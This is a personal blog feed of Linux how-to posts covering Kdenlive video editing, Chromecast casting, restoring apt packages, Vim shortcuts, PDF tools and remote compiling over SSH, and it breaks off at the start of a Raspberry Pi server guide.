<h1 id="git"><code>git</code></h1>
<p>Compares filenames and content. <strong>Slow</strong>.</p>
<div class="highlight"><pre><span></span><code>git diff -D --no-index /dirA /dirB
</code></pre></div>
<p>Hope this helps.</p>Video Editing on Linux2018-05-13T17:30:00+02:002024-02-14T00:21:00+01:00Romain Pellerintag:romainpellerin.eu,2018-05-13:/video-editing-on-linux.html<p>How to edit videos on Linux with Kdenlive</p><p>When I go on holidays or do sports, I usually film with three different devices:</p>
<ul>
<li>My smartphone</li>
<li>A GoPro</li>
<li>An Insta360 One X2</li>
</ul>
<p>Then, I like to make video montages. But because it usually does not happen more than twice a year, I regularly forget how to make a great movie. So this article acts as a reminder for myself. I thought it could be useful to other people too, that's why I put it online.</p>
<h1 id="overall-process">Overall process</h1>
<ol>
<li>Record in 1080p, at 25FPS, unless you want to go fancy and do 100 FPS (for decent slow-mo) and/or 4k. Why 25 and not 24 or 30? Because 24 is not always 24, sometimes it's actually 23.976, and 30 is sometimes 29.97, depending on the camera you are using. You're never so sure. 30FPS on the GoPro is 29.97, but 30FPS on the Insta360 One X2 gives 30 when exported from the mobile app, 29.97 from the desktop app. While 25 is always 25, on any camera, any software.</li>
<li>Download <a href="https://kdenlive.org/en/download/">Kdenlive</a> for the video montage.</li>
<li>
<p>Extract regular videos out of 360 videos using the desktop application (<a href="https://www.insta360.com/download/insta360-onex2">Insta360 STUDIO</a>) from Insta360, not the mobile one, as you get better quality. Export with the following settings:</p>
<ul>
<li>Disable "Lock Direction"</li>
<li>When doing slow-motion: disable "Motion blur"</li>
<li>I find the "Optical Flow stitching" better than "Dynamic Stitching", so I always keep this one on</li>
<li>"Chromatic Calibration" always on</li>
<li>25FPS when exporting</li>
<li>25Mbps when exporting</li>
<li>HEVC (H265) when exporting</li>
</ul>
<p>Careful, after exporting, the first frame (or first 2 frames) might not match the angle/level of zoom you picked. Remove these frames in Kdenlive when importing, if necessary.</p>
</li>
<li>
<p>You can overlay GPS data (from a Garmin device for instance) on top of a video to show nice stats such as the speed, the altitude, etc. To do so, refer to <a href="//romainpellerin.eu/creating-gpx-overlay-videos-on-linux.html">this article that I wrote</a></p>
</li>
<li>Using VLC, <code>Tools</code> > <code>Codec information</code>, check the framerate. All videos must have the same frame rate otherwise you might encounter issues in Kdenlive (Kdenlive will usually reencode your input video if the framerate is variable for instance).</li>
<li>When creating a new project in Kdenlive, make sure to use the very same frame rate and frame size as the input videos, so in my case 25FPS and 1080p. Pick BT.709 as the color range, or best BT.2020 if available. FPS, frame size, color range, all of that can be changed later in <code>Project</code> > <code>Project Settings</code> but <strong>it is not advised as it will shift clips randomly for example when changing the FPS</strong> (I experienced it).</li>
<li>In Kdenlive settings, under <code>Playback</code>, make sure GPU acceleration is disabled, cause it's buggy. Also enable <code>Proxy clips</code> for videos larger than 1000 pixels.</li>
<li>
<p>You probably want to import your video clips in a chronological order. Here is how to rename videos to match their creation date:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># Insta360 videos</span>
$ <span class="k">for</span> f <span class="k">in</span> *.mp4<span class="p">;</span> <span class="k">do</span> mv -n <span class="s2">"</span><span class="nv">$f</span><span class="s2">"</span> <span class="k">$(</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$f</span><span class="s2">"</span> <span class="p">|</span> cut -c <span class="m">5</span>-19<span class="k">)</span>.mp4<span class="p">;</span> <span class="k">done</span>
renamed <span class="s1">'VID_20230708_154459_00_001.mp4'</span> -> <span class="s1">'20230708_154459.mp4'</span>
<span class="c1"># GoPro videos and smartphone photos</span>
$ <span class="k">for</span> f <span class="k">in</span> *.MP4<span class="p">;</span> <span class="k">do</span> mv -n <span class="s2">"</span><span class="nv">$f</span><span class="s2">"</span> <span class="k">$(</span>exiftool -T -createdate -d <span class="s2">"%Y%m%d_%H%M%S"</span> <span class="s2">"</span><span class="nv">$f</span><span class="s2">"</span><span class="k">)</span>.MP4<span class="p">;</span> <span class="k">done</span>
renamed <span class="s1">'GX010697.MP4'</span> -> <span class="s1">'20230709_091946.MP4'</span>
</code></pre></div>
</li>
<li>
<p>Remove the audio track from clips after importing them in Kdenlive, where audio does not matter. Or lower the volume by some decibels.</p>
</li>
<li>You can "lock" audio or video tracks, when you absolutely do not want to misclick and inadvertently move clips.</li>
<li>When rendering, export in HEVC (smaller file size than H264). In the end, Youtube will re-encode any uploaded video to further cut down its size, and the visual quality will be more or less the same. Exporting in VP9 results in a file slightly bigger than HEVC, with the same quality. AV1 is supposedly the shit, better quality and smaller. Yet, in 2021, Kdenlive shows it but I cannot select it, it's grayed out. So I recommend HEVC, with the second slowest encoder speed (<code>preset=slower</code>), and keep the default quality setting, don't tick "Custom Quality" (keep <code>crf=28</code>). However, if the video is short enough and you can afford the extra rendering time, you should go for the "slowest" preset. It will take longer but the overall quality will be better. Also, if the video is short, you may go for a custom quality. I find 75% (<code>crf=23</code>) very good, without increasing the file size too much. Lastly, use 4 threads but do not use parallel processing, as it is still experimental and not stable enough (in 2024 at least).</li>
</ol>
<h1 id="transitions-songs-music-sync-and-beats-per-minute">Transitions, songs, music sync and beats per minute</h1>
<p>I like to sync the audio track with the video, so I try my best to change scenes on the beat. Also, I very often correct the volume of the audio tracks (usually reducing the songs' volume and increasing the original sound from the videos), through the built-in "Volume (keyframable)" effect.</p>
<p>For transitions, I recommend that the new clip starts one or 2 frames before the next music beat, because of <a href="https://en.wikipedia.org/wiki/Persistence_of_vision">the persistence of vision</a>. I read <a href="https://www.reddit.com/r/kdenlive/comments/dzzcib/is_there_a_way_to_match_the_bpm_of_a_song_while/">on Reddit</a> that the human eye takes 1/10th of a second to process images, while sound is near instant. 1/10th of a second, with 25FPS, would mean 2 frames.</p>
<figure class="center">
<img src="//romainpellerin.eu/images/kdenlive-transition-music-beat.png" alt="Screenshot of Kdenlive" />
<figcaption>Here the transition happens 1 frame before the next music beat</figcaption>
</figure>
<p><strong>Do not forget that Kdenlive does not use milliseconds but instead a number of frames.</strong> That should be helpful when resizing clips. Say you have a song at 100 beats per minutes and you want 4-beat clips at 25 fps. Do: 4*60/100 = 2.4. Then, do the math again for .4 to use a scale from 0 to 25 instead of 100: 0.4*25=10 frames. Which gives you clips that last 00:00:02 seconds and 10 frames, Kdenlive-wise.</p>
<p>To find the BPM of a song, use any of the following links:</p>
<ul>
<li><a href="http://www.beatsperminuteonline.com/">Tap BPM - Online Beats Per Minute Calculator and Counter</a></li>
<li><a href="https://getsongbpm.com/tools/audio">MP3 to BPM (Song Analyser)</a></li>
<li><a href="https://songbpm.com/">Find the BPM for any song | Type a song, get a BPM | Every tempo | songbpm</a></li>
</ul>
<h2 id="beats-calculator">Beats calculator</h2>
<p><input type="text" id="beats" placeholder="Beats per minute here"/>
<input type="text" id="fps" placeholder="Desired frames per second here"/></p>
<pre id="results"></pre>
<script>
let BEATS = [1,2,3,4,6,8]
const inputBeats = document.querySelector('input#beats')
const inputFps = document.querySelector('input#fps')
function inputChange() {
const value = inputBeats.value
const fps = inputFps.value
if (!value || isNaN(value) || !fps || isNaN(fps)) return
const pre = document.getElementById('results')
pre.innerHTML = ""
BEATS = [...new Array(+value)].map(function(_,i) { return i })
const result = BEATS.concat(value).filter(function(beat) { return beat > 0 }).map(function(beat) {
let tempResult = (beat*60)/value
const regex = tempResult.toString().match(/^(\d+\.)(\d+)$/)
if (regex) {
const integer = regex[1]
const floating = (parseFloat("0." + regex[2], 10)*100*fps)/100
tempResult = `${parseInt(integer, 10)} seconds and ${Math.round(floating)} frames`
}
else {
tempResult = `${tempResult} seconds and 0 frames`
}
pre.innerHTML += "- " + beat + " beats = " + tempResult + "\n"
})
}
inputBeats.oninput=inputChange
inputFps.oninput=inputChange
if (inputBeats.value || inputFps.value) {
inputChange()
}
</script>
<h1 id="fancy-effects-in-kdenlive">Fancy effects in Kdenlive</h1>
<h2 id="fade-inout">Fade-in/out</h2>
<p>There's a built-in effect for that. Make sure to tick "fade to/from dark".</p>
<video controls>
<source src="./videos/kdenlive/fade-out.mp4" type="video/mp4">
</video>
<h2 id="split-screen">Split screen</h2>
<video controls>
<source src="./videos/kdenlive/split-screen.mp4" type="video/mp4">
</video>
<h2 id="iris-out">Iris out</h2>
<video controls>
<source src="./videos/kdenlive/iris-out.mp4" type="video/mp4">
</video>
<h2 id="rewind-video-vhs-style">Rewind video (VHS style)</h2>
<iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/MnErqP9iIWU?rel=0" frameborder="0" allowfullscreen></iframe>
<h2 id="text-reveal-behind-an-object">Text reveal behind an object</h2>
<video controls>
<source src="./videos/kdenlive/text-reveal-behind-an-object.mp4" type="video/mp4">
</video>
<h2 id="blend-a-video-with-a-solid-color">Blend a video with a solid color</h2>
<video controls>
<source src="./videos/kdenlive/blend-video-and-color.mp4" type="video/mp4">
</video>
<h2 id="cinematoscope-aspect-ratio">Cinematoscope aspect ratio</h2>
<video controls>
<source src="./videos/kdenlive/cinematoscope-aspect-ratio.mp4" type="video/mp4">
</video>
<h2 id="old-film">Old film</h2>
<p>Use the "Old film" effect.</p>
<iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/qoly_IIyqyI?rel=0" frameborder="0" allowfullscreen></iframe>
<h2 id="how-to-place-a-video-inside-text">How to place a video inside text</h2>
<iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/nM6q7FJSenE?rel=0" frameborder="0" allowfullscreen></iframe>
<p>That's about it!</p>Casting To Chromecast On Linux2017-08-18T15:50:00+02:002022-09-24T12:11:00+02:00Romain Pellerintag:romainpellerin.eu,2017-08-18:/casting-to-chromecast-on-linux.html<p>How to cast media files to Chromecast from Linux</p><p>Several options exist when it comes to casting media content from Linux to a Chromecast.</p>
<h1 id="casting-the-full-desktop">Casting the full desktop</h1>
<p>You can use Google Chrome (audio is not supported).</p>
<figure class="center">
<img alt="Casting from Chrome" src="//romainpellerin.eu/images/chromecast-chrome.png" />
</figure>
<p>Alternatively, you can use Firefox with <a href="https://hensm.github.io/fx_cast/">fx_cast</a>.</p>
<h1 id="casting-a-browser-tab">Casting a browser tab</h1>
<p>Same as above, use Chrome.</p>
<h1 id="casting-a-file">Casting a file</h1>
<p>Two options:</p>
<ul>
<li>Either VLC 3.0 (but it does not support subtitles yet)</li>
<li>Or <code>castnow</code></li>
</ul>
<p>With VLC, open it and go to Preferences. Open the tab 'Video' and set Output to 'X11 video output (XCB)'. Then, try to find your Chromecast in the menu Video > Renderer > Scan. If unsuccessful, close it and run vlc from the command line:</p>
<div class="highlight"><pre><span></span><code> vlc --sout<span class="o">=</span><span class="s2">"#chromecast{ip=192.168.1.X}"</span> myfile.mp4
</code></pre></div>
<p>Make sure you replace the IP with the one allocated to the Chromecast.</p>
<p>Another option is to use <code>castnow</code>:</p>
<div class="highlight"><pre><span></span><code>npm install -g castnow
castnow --address <span class="s1">'192.168.1.X'</span> myfile.mp4 --subtitles mysubs.srt
</code></pre></div>
<p>Enjoy!</p>How To Reinstall Deleted Packages On Linux2017-08-18T15:30:00+02:002017-08-18T15:30:00+02:00Romain Pellerintag:romainpellerin.eu,2017-08-18:/how-to-reinstall-deleted-packages-on-linux.html<p>A few commands to repair and reinstall deleted packages on Linux</p><p>Recently, I inadvertently deleted a whole lot of packages on my Linux distribution by deleting one specific package and then running <code>sudo apt-get autoremove</code>. Here is how I reinstalled them automatically, after noticing I could not boot the X server up anymore:</p>
<div class="highlight"><pre><span></span><code>awk <span class="s1">'/Purge|Remove/ { gsub( /\([^()]*\)/, "" ); gsub(/ ,/, " ");sub(/Install:/,""); print}'</span> /var/log/apt/history.log > repair.txt
sudo apt install <span class="k">$(</span>cat repair.txt<span class="k">)</span>
</code></pre></div>
<p>Hope this helps.</p>Vim Tricks2017-01-18T22:50:00+01:002021-01-19T23:50:00+01:00Romain Pellerintag:romainpellerin.eu,2017-01-18:/vim-tricks.html<p>A few tricks for Vim that I have learned over all my years of using this incredible tool.</p><h1 id="left-right-and-up-down-motions">Left-right and up-down motions</h1>
<ul>
<li><code>h</code>, <code>j</code>, <code>k</code>, <code>l</code>: left, down, up, right</li>
<li><code>^e</code>: scoll window down (ctrl + e)</li>
<li><code>^y</code>: scroll window up</li>
<li><code>^f</code>: scroll down one page</li>
<li><code>^b</code>: scroll up one page</li>
<li><code>H</code>: move cursor to the top</li>
<li><code>M</code>: move cursor to the middle</li>
<li><code>L</code>: move cursor to the bottom</li>
<li><code>gg</code>: top of file</li>
<li><code>G</code>: bottom of file</li>
<li><code>t<char></code>: till some character</li>
<li><code>T<char></code>: till some character (backward)</li>
<li><code>f<char></code>: find forward (it will include the found character, unlike till)</li>
<li><code>F<char></code>: find backward</li>
</ul>
<h1 id="text-objects-motions">Text objects motions</h1>
<ul>
<li><code><n> w</code>: n words forward (n is optional)</li>
<li><code>b</code>: beginning of word</li>
<li><code>e</code>: end of word</li>
<li><code>{</code>: beginning of paragraph</li>
<li><code>}</code>: end of paragraph</li>
</ul>
<h1 id="text-objects-only-in-visual-mode-or-after-an-operator">Text objects (only in visual mode or after an operator)</h1>
<ul>
<li><code>s</code>: sentences</li>
<li><code>p</code>: paragraphs</li>
<li><code>t</code>: tags (html/xml only)</li>
</ul>
<h1 id="copying-and-moving-text-inserting-text">Copying and moving text / Inserting text</h1>
<ul>
<li><code>d{motion}</code>: delete/cut (<code>dd</code> to delete entire line)</li>
<li><code>p</code>: paste (a line that was cut for instance)</li>
<li><code>c</code>: change (replace)</li>
<li><code>D</code> / <code>C</code>: delete/change until end of line</li>
<li><code>y{motion{</code>: yank (<code>yy</code> to copy entire line)</li>
<li><code>></code>: indent</li>
<li><code>^</code>: go to beginning of line</li>
<li><code>$</code>: go to end of line</li>
<li><code>I</code>: go to beginning of line and enter insert mode</li>
<li><code>A</code>: go to end of line and enter insert mode</li>
<li><code>o</code>: add a new line below and enter insert mode</li>
<li><code>O</code>: add a new line above and enter insert mode</li>
</ul>
<h2 id="examples">Examples</h2>
<p>General rule: <code>[optional number to repeat]{command}{text object or motion}</code>.</p>
<ul>
<li><code>diw</code>: delete in word</li>
<li><code>caw</code>: change all word (all will grab surrounding whitespaces)</li>
<li><code>yi(</code>: yank all text inside parentheses</li>
<li><code>di[</code>: delete between square brackets</li>
<li><code>va"</code>: visually select all inside doublequotes (including doublequotes)</li>
<li><code>3dd</code> is equal to <code>d2j</code></li>
<li><code>3J</code>: join the next three lines into 1 line</li>
<li><code>d5}</code>: delete from the current line through the end of the fifth paragraph down from here</li>
</ul>
<h1 id="registers">Registers</h1>
<ul>
<li><code>:reg</code>: access the registers</li>
<li><code>i</code> (insert mode) then <code>^r</code> and a register letter to paste from it, instead of <code>"{register}p</code>.</li>
<li><code>m{register}</code>: mark a cursor position in some register</li>
<li><code>`{register}</code>: go back to the marked position</li>
<li><code>'{register}</code>: go to beginning of line where there is the marked position</li>
<li><code>d`a</code>: delete from here to position marked in register 'a'</li>
</ul>
<h1 id="autocomplete-in-insert-mode">Autocomplete (in insert mode)</h1>
<ul>
<li><code>^x^n</code>: for just this file</li>
<li><code>^x^f</code>: for filenames</li>
<li><code>^x^]</code>: for tags only</li>
<li><code>^x^l</code>: whole lines</li>
<li><code>^n</code> and <code>^p</code>: go back and forth in the suggestion list</li>
</ul>
<p>(<code>^n</code> is disabled by YouCompleteMe.)</p>
<h1 id="regex">Regex</h1>
<h2 id="interactive-find-and-replace">Interactive find and replace</h2>
<div class="highlight"><pre><span></span><code>:%s/foo/bar/gc
</code></pre></div>
<p><code>%</code> means whole document, not just the current line.</p>
<p><code>/g</code> means every occurence, not just the first one. <code>/c</code> is the interactive option.</p>
<h2 id="capturing-groups">Capturing groups</h2>
<div class="highlight"><pre><span></span><code>:%s/abc<span class="se">\(</span>def<span class="se">\)</span>ghi/ko<span class="se">\1</span>ok/g
</code></pre></div>
<p>Will print <code>kodefok</code>.</p>
<h2 id="non-greedy-search">Non-greedy search</h2>
<p>Normally, to search in a non-greedy way, we add a punctuation mark, as in <code>.*?</code> which means <em>any string of characters as short as possible</em>. For instance:</p>
<div class="highlight"><pre><span></span><code>/<.><span class="o">(</span>.*?<span class="o">)</span><.>/
</code></pre></div>
<p>Applied to the string <code>abc<p>def<a>ghi<b>jkl</code> would match <code><p>def<a></code> and capture <code>def</code>. To make non-greedy searches with Vim, replace <code>*?</code> with <code>\{-}</code>.</p>
<h1 id="misc">Misc</h1>
<h2 id="split-the-screen-in-half-and-display-two-different-parts-of-a-given-file">Split the screen in half and display two different parts of a given file</h2>
<div class="highlight"><pre><span></span><code>:vsp
:set scrollbind
</code></pre></div>
<p>Then, on the right pane, scroll down or up, further in the file, and do:</p>
<div class="highlight"><pre><span></span><code>:set scrollbind
</code></pre></div>
<p>From that point on, as you scroll on one pane, the other one will follow. To undo:</p>
<div class="highlight"><pre><span></span><code>:set noscrollbind
</code></pre></div>
<h2 id="other">Other</h2>
<ul>
<li><code>v</code>: visually select (enters visual mode)</li>
<li><code>.</code>: repeat the last command</li>
<li><code>~</code>: invert the case for current char</li>
<li><code>/</code>: search something (c/myvar, delete and insert from here to myvar)</li>
<li><code>:earlier 2m</code>: go back to state in history that is 2 minutes old</li>
<li><code>:cl</code>: to list errors</li>
<li><code>:cc#</code> to jump to error number #</li>
<li><code>:cn</code> and <code>:cp</code>: to navigate forward and back</li>
<li><code>:help ^n</code>: to know about what ctrl n does</li>
<li><code>:help c_^n</code>: ctrl n in command mode</li>
<li><code>:help i_^n</code>, <code>:help v_^n</code>: ctrl n in insert mode or visual mode</li>
<li><code>:helpgrep whatever</code>: search in all documentation, then use :cl, :cc, :cp, :cn</li>
</ul>
<h1 id="useful-links">Useful links</h1>
<ul>
<li><a href="https://vim.rtorr.com/">Vim Cheat Sheet</a></li>
<li><a href="https://vimgifs.com/">Vimgifs</a></li>
<li><a href="http://danielallendeutsch.com/blog/2-vim-navigation-commands.html">Vim Navigation Commands: sequences you have no excuse not to know</a></li>
<li><a href="http://learnvimscriptthehardway.stevelosh.com/">Learn Vimscript the Hard Way</a></li>
<li><a href="https://www.youtube.com/watch?v=XA2WjJbmmoM">How to Do 90% of What Plugins Do (With Just Vim)</a></li>
<li><a href="https://sanctum.geek.nz/arabesque/vim-anti-patterns/">Vim anti-patterns</a></li>
<li><a href="https://github.com/Valloric/YouCompleteMe/wiki/Building-Vim-from-source">Building Vim from source</a></li>
<li><a href="https://spacevim.org/2017/02/11/use-vim-as-a-java-ide">Use Vim as a Java IDE</a></li>
<li><a href="https://github.com/garbas/vim-snipmate">SnipMate</a></li>
<li><a href="http://vim.wikia.com/wiki/Auto_closing_an_HTML_tag">Auto closing an HTML tag</a></li>
<li><a href="https://www.quora.com/What-is-the-best-JavaScript-programming-language-setup-with-Vim-text-editor">What is the best JavaScript (programming language) setup with Vim (text editor)?</a></li>
<li><a href="http://vimcasts.org/">Vimcasts</a></li>
<li><a href="http://www.catonmat.net/blog/why-vim-uses-hjkl-as-arrow-keys/">Here is why vim uses the hjkl keys as arrow keys</a></li>
<li><a href="https://www.youtube.com/watch?v=lwD8G1P52Sk">Your First Vim Plugin</a></li>
<li><a href="https://www.youtube.com/watch?v=5r6yzFEXajQ">vim + tmux - OMG!Code</a></li>
<li><a href="http://stackoverflow.com/questions/1218390/what-is-your-most-productive-shortcut-with-vim">What is your most productive shortcut with Vim?</a></li>
<li><a href="https://github.com/nicknisi/dotfiles">nicknisi/dotfiles</a></li>
<li><a href="https://github.com/shawncplus/dotfiles">shawncplus/dotfiles</a></li>
<li><a href="https://medium.freecodecamp.org/learn-linux-vim-basic-features-19134461ab85">Why I love Vim: It’s the lesser-known features that make it so amazing</a></li>
</ul>How To Modify PDF Files2016-12-10T00:30:00+01:002022-09-29T00:17:00+02:00Romain Pellerintag:romainpellerin.eu,2016-12-10:/how-to-modify-pdf-files.html<p>On to extract/edit/merge pages from one or several PDF files</p><ul>
<li><code>gs</code> is likely already installed.</li>
<li><code>pdftk</code> can be installed using <code>sudo aptitude install pdftk</code>. <code>pdftk</code> <a href="http://askubuntu.com/questions/809800/whats-the-difference-between-gs-and-pdftk-in-merge-pdf-files">is not recommended because of its old and outdated PDF engine</a>.</li>
<li><code>pdfjam</code> is part of the LaTeX distribution (<code>sudo aptitude install texlive-full</code>). However, <code>pdfjam</code> <a href="https://blog.dbrgn.ch/2013/8/14/merge-multiple-pdfs/">is not recommended</a> either because hyperlinks are not preserved.</li>
</ul>
<p>So my advice is to go with <code>gs</code>.</p>
<p>Other commands exist such as <code>pdfseparate</code> and <code>pdfunite</code>. They are very good but the output files are quite heavy, compared to those obtained using <code>gs</code>.</p>
<h1 id="convert-a-pdf-to-multiple-pngs-one-image-per-page">Convert a PDF to multiple PNGs (one image per page)</h1>
<div class="highlight"><pre><span></span><code>convert input.pdf -density <span class="m">300</span> -background <span class="s1">'white'</span> -alpha remove output.png
</code></pre></div>
<h1 id="add-a-password-to-a-pdf-file">Add a password to a PDF file</h1>
<div class="highlight"><pre><span></span><code>pdftk input.pdf output output.pdf userpw <password here>
</code></pre></div>
<h1 id="reduce-sizequality-of-a-pdf-file">Reduce size/quality of a PDF file</h1>
<div class="highlight"><pre><span></span><code>ps2pdf -dPDFSETTINGS<span class="o">=</span>/ebook input.pdf output.pdf
</code></pre></div>
<p><code>/ebook</code> can also be replaced with <code>/screen</code> for further reduction.</p>
<h1 id="extracting-pages">Extracting pages</h1>
<div class="highlight"><pre><span></span><code><span class="c1"># Extracts all pages from 1 to 5</span>
gs -sDEVICE<span class="o">=</span>pdfwrite -dNOPAUSE -dBATCH -dSAFER -dFirstPage<span class="o">=</span><span class="m">1</span> -dLastPage<span class="o">=</span><span class="m">5</span> -sOutputFile<span class="o">=</span>output.pdf input.pdf
<span class="c1"># Extracts all pages from 1 to 2 and 4 to the end</span>
pdftk input.pdf cat <span class="m">1</span>-2 <span class="m">4</span>-end output output.pdf
<span class="c1"># Extract only pages 1, 2, 4 and 5</span>
pdftk input.pdf cat <span class="m">1</span> <span class="m">2</span> <span class="m">4</span> <span class="m">5</span> output output.pdf
<span class="c1"># Split each page into a file</span>
pdftk input.pdf burst
<span class="c1"># OR</span>
<span class="nv">file</span><span class="o">=</span>input.pdf
<span class="nv">pages</span><span class="o">=</span><span class="k">$(</span>pdfinfo <span class="s2">"</span><span class="nv">$file</span><span class="s2">"</span> <span class="p">|</span> grep <span class="s2">"Pages"</span> <span class="p">|</span> awk <span class="s1">'{print $2}'</span><span class="k">)</span>
<span class="nb">echo</span> <span class="s2">"Detect </span><span class="nv">$pages</span><span class="s2"> in </span><span class="nv">$file</span><span class="s2">"</span><span class="p">;</span>
<span class="nv">filename</span><span class="o">=</span><span class="s2">"</span><span class="si">${</span><span class="nv">file</span><span class="p">%.*</span><span class="si">}</span><span class="s2">"</span><span class="p">;</span>
<span class="k">for</span> i <span class="k">in</span> <span class="k">$(</span>seq -w <span class="m">1</span> <span class="s2">"</span><span class="nv">$pages</span><span class="s2">"</span><span class="k">)</span><span class="p">;</span> <span class="k">do</span>
pdftk <span class="s2">"</span><span class="nv">$file</span><span class="s2">"</span> cat <span class="s2">"</span><span class="nv">$i</span><span class="s2">"</span> output <span class="s2">"</span><span class="nv">$filename</span><span class="s2">-</span><span class="nv">$i</span><span class="s2">.pdf"</span><span class="p">;</span>
<span class="k">done</span><span class="p">;</span>
</code></pre></div>
<h1 id="editing-one-page">Editing one page</h1>
<p>Use Gimp (import with 300-dpi setting).</p>
<h1 id="merging-several-pdf-files">Merging several PDF files</h1>
<div class="highlight"><pre><span></span><code>gs -sDEVICE<span class="o">=</span>pdfwrite -dNOPAUSE -dBATCH -dSAFER -sOutputFile<span class="o">=</span>output.pdf input1.pdf input2.pdf input3.pdf
pdftk input1.pdf input2.pdf input3.pdf cat output output.pdf
pdfjam input1.pdf input2.pdf input3.pdf -o output.pdf
</code></pre></div>
<h1 id="convert-one-or-several-jpg-files-into-a-single-pdf">Convert one or several JPG files into a single pdf</h1>
<p>First, in <code>/etc/ImageMagick-6/policy.xml</code>, comment out the last 6 lines:</p>
<div class="highlight"><pre><span></span><code><span class="cm"><!-- <policy domain="coder" rights="none" pattern="PS" /></span>
<span class="cm"><policy domain="coder" rights="none" pattern="PS2" /></span>
<span class="cm"><policy domain="coder" rights="none" pattern="PS3" /></span>
<span class="cm"><policy domain="coder" rights="none" pattern="EPS" /></span>
<span class="cm"><policy domain="coder" rights="none" pattern="PDF" /></span>
<span class="cm"><policy domain="coder" rights="none" pattern="XPS" /> --></span>
</code></pre></div>
<p>Then:</p>
<div class="highlight"><pre><span></span><code>convert image1.jpg image2.jpg output.pdf
</code></pre></div>
<h2 id="set-the-pdf-size-to-a4-210-x-297-mm">Set the PDF size to A4 (210 x 297 mm)</h2>
<p>Make sure your image has a resolution of 1050x1485 pixels. Then:</p>
<div class="highlight"><pre><span></span><code>convert input.jpg -density <span class="m">50</span> -units pixelspercentimeter output.pdf
</code></pre></div>
<p>If the image is of a different resolution, <a href="https://unix.stackexchange.com/a/20057">use this</a>:</p>
<div class="highlight"><pre><span></span><code><span class="nv">i</span><span class="o">=</span><span class="m">100</span><span class="p">;</span> convert input.png -compress jpeg -quality <span class="m">70</span> <span class="se">\</span>
-density <span class="si">${</span><span class="nv">i</span><span class="si">}</span>x<span class="si">${</span><span class="nv">i</span><span class="si">}</span> -units pixelspercentimeter <span class="se">\</span>
-resize <span class="k">$((</span>i*21<span class="k">))</span>x<span class="k">$((</span>i*29.7<span class="k">))</span> <span class="se">\</span>
-repage <span class="k">$((</span>i*21<span class="k">))</span>x<span class="k">$((</span>i*29.7<span class="k">))</span> output.pdf
</code></pre></div>
<p><a href="https://legacy.imagemagick.org/discourse-server/viewtopic.php?t=33309">Source</a></p>Using Vim with SSH2016-10-19T03:35:00+02:002017-01-18T01:50:00+01:00Romain Pellerintag:romainpellerin.eu,2016-10-19:/using-vim-with-ssh.html<p>How to edit and compile files on a remote server</p><p>I recently faced quite a challenging problem. I had to write C++ code and compile it on a remote server. Why would I need to compile on a remote server? Well, first my laptop is not very powerful and compiling takes some time, in comparison to the server which proved to be much faster. Moreover, my code was supposed to compile on the server "out of the box", as it was meant to be executed and tested there. Hence, no dependencies, no customized environmnent, and so forth.</p>
<p>Anyway, I then started looking for a way to use Vim over SSH effectively, without having to switch between terminals to compile. What's more, I wanted it to be as fast as possible. After asking for help on <a href="http://unix.stackexchange.com/questions/315844/editing-and-compiling-files-on-a-remote-server-with-vim/315846">StackOverflow</a>, I got a very helpful answer. I finally came up with the following solution. Let's get started!</p>
<h1 id="ssh">SSH</h1>
<p>First, edit <code>~/.ssh/config</code> and add your remote host.</p>
<div class="highlight"><pre><span></span><code>Host my_server
Hostname <server>
User <user>
IdentityFile ~/.ssh/id_rsa
ControlMaster auto
ControlPath ~/.ssh/%C
<span class="c1"># ControlPath ~/.ssh/cm_socket/%r@%h:%p</span>
ControlPersist yes
</code></pre></div>
<p>Then, enable <em>pubkey</em> authentication using <code>ssh-copy-id -i ~/.ssh/id_rsa.pub user@server</code>. You should now be able to connect using <code>ssh my_server</code>. This will establish a permanent connection. As an example, simply open another terminal and try to connect to that server, you'll notice how fast it is this time!</p>
<p>Later, you'll be able to disconnect from the server using <code>ssh -O exit my_server</code>.</p>
<h1 id="tmux">Tmux</h1>
<p>Tmux is obviously a must-have and is thus already installed.</p>
<h1 id="vim">Vim</h1>
<h2 id="prerequisite">Prerequisite</h2>
<p>Before starting editing files, you definitely want your Vim to be smart. Hence we'll use the plugin <a href="https://github.com/tpope/vim-dispatch">vim-dispatch</a>, which allows use to run the command <code>:make</code> asynchronously from Vim, in another Tmux pane (the new command introduced by this plugin is <code>:Make</code>).</p>
<h2 id="editing-and-compiling">Editing and compiling</h2>
<p>Once you're connected over SSH, let's edit files on the server using Vim. Let's go!</p>
<div class="highlight"><pre><span></span><code>vim sftp://my_server//home/whoever/main.cpp
</code></pre></div>
<p>Then, in Vim, type the following commands:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># The next two lines have the same effect,</span>
<span class="c1"># except that the first one needs spaces to be escaped</span>
:set <span class="nv">makeprg</span><span class="o">=</span>ssh<span class="se">\ </span>my_server<span class="se">\ </span><span class="s1">'make && ./main && exit'</span>
:let <span class="p">&</span><span class="nv">makeprg</span><span class="o">=</span><span class="s2">"ssh my_server 'make && ./main && exit'"</span>
:map <f10> :Copen<cr>G
:map <f9> :update<cr>:Make<cr>
:map <f12> :cclose<cr>
</code></pre></div>
<p>The last three commands are just shortcuts meant to make the world a better place... or just developers happier.</p>
<p>That's it! I hope it was helpful.</p>Raspberry Pi: The Ultimate Guide2016-07-10T05:11:00+02:002023-10-12T20:48:00+02:00Romain Pellerintag:romainpellerin.eu,2016-07-10:/raspberry-pi-the-ultimate-guide.html<p>A complete tutorial about how to create a home server using a Raspberry Pi</p><p><em><a href="//romainpellerin.eu/extra/raspberry-pi-as-a-home-server-PDF.zip">Here is an old document I created a while ago. I keep it here for legacy purposes.</a></em></p>
<p>I'll keep this article as short as possible (no explanation where things are self-explanatory or obvious), mainly due to the fact that the article will be quite lengthy. I'll give instructions about how to setup a Raspberry Pi as well as how to install stuff. This blog post might change in a near future.</p>
<h1 id="goal">Goal</h1>
<p>I decided to built a cheap home server to host websites, have a VPN server hosted in France, have a Nextcloud instance, and so forth. A Raspberry Pi, which costs less than $5 a year (electricity consumption) was the perfect solution. As I'm not that often in France, I needed to be able to operate it remotely. I also wanted plenty of storage, a SD card would not be sufficient. I had to plug a hard disk drive. Furthermore, I wanted it to be encrypted, just in case a malicious person tries to read my hard disk drive.</p>
<p>To sum up, few requirements, but big advantages. Let's get started!</p>
<h1 id="what-i-used-for-this-tutorial">What I used for this tutorial</h1>
<ul>
<li><a href="https://www.raspberrypi.org/products/raspberry-pi-3-model-b/">A Raspberry Pi v3 model B</a></li>
